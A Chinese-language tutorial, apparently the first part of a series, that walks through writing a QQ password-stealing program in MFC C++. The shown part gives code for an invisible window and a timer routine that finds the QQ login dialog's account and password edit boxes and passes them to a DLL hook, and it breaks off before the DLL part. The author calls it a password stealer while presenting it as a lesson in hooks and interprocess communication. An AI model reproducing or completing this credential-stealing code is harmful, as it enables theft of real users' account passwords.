新版QQ客户端发布了,除了在界面上焕然一新外,QQ对密码的保护是否健全,是否真正维护了用户的合法权益呢?带着这个疑问,我做了一些尝试,结果很让人失望,通过很简单的编程手段即可编写一个盗取QQ密码的程序。下面讲述一下实现方法(不要怪我助纣为虐,毕竟,是只羊就别指望没有狼来吃你),同时这个程序也是一个很有价值的实例,其中包括钩子函数、DLL的数据共享、进程间通讯等。
程序包括两部分: DLL部分实现钩子函数,EXE部分实现辅助功能。
一、 EXE部分。
利用向导建立一个对话框实例,取名“QQGPS”。因为程序运行时不应有界面,所以要在这个实例的基础上进行改造。
删除对话框模板,对话框类的.h文件、.cpp文件及包含相应文件的#include语句。
利用向导从基类“CFrameWnd”派生新类“CMainWnd”。
添加函数BOOL CreateFrame();其代码如下:
BOOL CMainWnd::CreateFrame()
{
RECT rt={0,0,1,1};
BOOL ret=FALSE;
ret=CWnd::CreateEx(0,AfxRegisterWndClass(0),
"yafi",~WS_VISIBLE,rt,0,0);//创建一个不可见的窗口。
SetTimer(0,500,NULL);//创建定时器
return ret;
}
改写原有的CQQGPSApp::InitInstance函数。
BOOL CQQGPSApp::InitInstance()
{
CMainWnd*pWnd=new CMainWnd();
pWnd->CreateFrame();
m_pMainWnd=pWnd;
return TRUE;// 返回TRUE,开始消息循环。
}
到现在为止,已经生产出了一个框架,拥有消息处理功能,没有界面。下面再添加对定时器的消息处理函数。在QQ运行时该函数将查找其上面的两个编辑框的窗口句柄,并将其传递给DLL。
void CMainWnd::OnTimer(UINT nIDEvent) 
{
// TODO: Add your message handler code here and/or call default
HWND hdlg=NULL,handle1=NULL,handle2=NULL,hID;
BOOL stop=0;
CString title;
int num=0;
while(!stop&&num<50)
{
handle1=::FindWindow("#32770",NULL);
if(handle1!=NULL)
{
handle2=::FindWindowEx(handle1,NULL,"Static",NULL);
::GetWindowText(handle2,title.GetBufferSetLength(20),20);
if(title=="QQ号码:")
{
stop=TRUE;
hdlg=handle1; 
}
}
num++;
}
if(hdlg!=NULL) //此为QQ对话框的窗口句柄
{
stop=0;
num=0;
while(!stop&&num<50)
{
handle1=::FindWindowEx(hdlg,NULL,"ComboBox",NULL);
if(handle1!=0)
{
handle2=::FindWindowEx(handle1,NULL,"Edit",NULL);
if(handle2!=NULL)
{
hID=handle2;//此为号码编辑框窗口句柄
stop=TRUE;
}
}

if(stop)
{
stop=0;
num=0;
while(!stop&&num<50)
{
handle1=::FindWindowEx(hdlg,NULL,"Edit",NULL);
if(handle1!=0)//此为密码编辑框窗口句柄
{
stop=TRUE;
if(HookStart(this->m_hWnd ,handle1,hID))//DLL的导出函数
KillTimer(0);//发现QQ运行,启动钩子函数,关闭定时器
}
}
}

CFrameWnd::OnTimer(nIDEvent);
}
待续